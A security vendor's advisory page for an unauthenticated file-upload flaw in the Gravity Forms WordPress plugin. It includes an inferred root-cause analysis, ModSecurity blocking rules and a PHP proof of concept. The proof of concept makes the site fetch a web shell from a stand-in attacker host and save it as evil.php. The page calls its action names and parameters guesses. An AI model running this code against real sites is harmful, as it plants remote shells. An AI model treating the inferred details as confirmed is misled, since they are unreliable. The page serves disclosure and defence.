Published : June 21, 2026

CVE-2025-12352: Gravity Forms <= 2.9.20 Unauthenticated Arbitrary File Upload via 'copy_post_image' PoC, Patch Analysis & Rule

Plugin gravityforms
Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 2.9.20
Patched Version
Disclosed November 5, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-12352 (metadata-based):

This vulnerability affects the Gravity Forms plugin for WordPress, versions up to and including 2.9.20. It allows unauthenticated arbitrary file uploads through the copy_post_image() function. The CVSS score of 9.8 reflects the critical severity due to complete compromise of confidentiality, integrity, and availability.

Based on the CWE-434 classification and the description, the root cause is missing file type validation in the copy_post_image() function. This function likely processes uploaded files intended for post creation, copying them to a destination without verifying the file extension or MIME type. The description indicates that the attack works when allow_url_fopen is enabled, suggesting the function may fetch an image from a remote URL provided by the attacker. Atomic Edge research infers that the function uses a URL parameter (such as ‘copy_post_image’ or similar) to specify a file location, then copies it to the server without checking if the file is actually an image. This conclusion is inferred from the CWE and description; no source code diff is available for confirmation.

For exploitation, an unauthenticated attacker can send a POST request to an AJAX or POST submission handler. The endpoint is likely related to post creation forms (e.g., action ‘gform_post’ or the ‘copy_post_image’ function itself, possibly via admin-ajax.php with a custom action). The attacker provides a URL pointing to a malicious PHP file (e.g., http://attacker.com/shell.php.txt) and a destination filename or path. Because the function does not validate file types, the server downloads and stores the file as a PHP script. The attacker then accesses the uploaded file directly to execute code, achieving remote code execution. Exploitation requires the site to have allow_url_fopen enabled (since file_get_contents or similar is likely used to fetch the remote file) and the post creation form with a file upload field active.

Remediation requires the plugin developer to implement proper file type validation in the copy_post_image() function. The fix should check the file extension against a whitelist of allowed image types (e.g., jpg, png, gif, webp). Additionally, the function should validate the MIME type and possibly use wp_check_filetype() or similar WordPress functions. The patched version 2.9.21 likely includes such validation. Site administrators should update immediately and verify that allow_url_fopen is disabled unless absolutely necessary.

If exploited, an attacker can upload arbitrary PHP files to the server, leading to remote code execution. This allows complete site takeover, data exfiltration, malware injection, and further compromise of the hosting environment. The impact is severe because the vulnerability requires no authentication, user interaction, or special privileges, making it trivial for attackers to exploit on vulnerable sites.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20250001,phase:2,deny,status:403,chain,msg:'CVE-2025-12352 - Gravity Forms copy_post_image file upload exploit',severity:'CRITICAL',tag:'CVE-2025-12352'"
SecRule ARGS_POST:action "@streq gravityforms_copy_post_image" "chain"
SecRule ARGS_POST:copy_post_image "@rx ^https?://" "t:none"
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20250002,phase:2,deny,status:403,chain,msg:'CVE-2025-12352 - Gravity Forms copy_post_image file upload exploit',severity:'CRITICAL',tag:'CVE-2025-12352'"
SecRule ARGS_POST:action "@streq gform_submit" "chain"
SecRule ARGS_POST:copy_post_image "@rx ^https?://" "t:none"
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20250003,phase:2,deny,status:403,chain,msg:'CVE-2025-12352 - Gravity Forms malicious file upload attempt',severity:'CRITICAL',tag:'CVE-2025-12352'"
SecRule ARGS_POST:copy_post_image "@rx .(php|phtml|php3|php4|php5|php7|php8|shtml|cgi|asp|aspx|jsp)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-12352 - Gravity Forms <= 2.9.20 Unauthenticated Arbitrary File Upload via 'copy_post_image'

// Configuration: Set the target URL of the WordPress site
$target_url = 'http://example.com'; // CHANGE THIS

// Attacker's payload URL (a PHP web shell hosted elsewhere)
$payload_url = 'http://attacker.com/shell.txt'; // CHANGE THIS

// The file name to upload (must end with .php to execute)
$uploaded_file_name = 'evil.php';

// Step 1: Determine the correct action and form parameters.
// Based on the description, the vulnerable function is 'copy_post_image'.
// This may be triggered via admin-ajax.php with an action like 'gravityforms_copy_post_image'
// or directly through a Gravity Forms submission. We will attempt both.

// Prepare POST data for the AJAX endpoint
$post_data = array(
    'action' => 'gravityforms_copy_post_image', // Inferred action name
    'copy_post_image' => $payload_url,
    'file_name' => $uploaded_file_name
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempting upload via AJAX...n";
echo "HTTP Code: $http_coden";
echo "Response: " . $response . "n";

// Step 2: Alternative approach: try submitting directly to Gravity Forms post creation endpoint.
// The action might be something like 'gform_submit' with form ID.
// This is more speculative; adjust based on actual form configuration.

$post_data2 = array(
    'action' => 'gform_submit',
    'gform_submit' => '1',
    'input_1' => 'test',
    'gform_post_image' => $payload_url, // Assuming field ID for post image
    'copy_post_image' => $payload_url
);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query($post_data2));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch2, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

echo "nAttempting upload via form submission...n";
echo "HTTP Code: $http_code2n";
echo "Response: " . $response2 . "n";

echo "nNote: This PoC assumes the vulnerable action is 'gravityforms_copy_post_image'.";
echo "If the site does not have allow_url_fopen enabled, the attack will fail.";
echo "If successful, access the uploaded shell at: " . $uploaded_file_name;
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School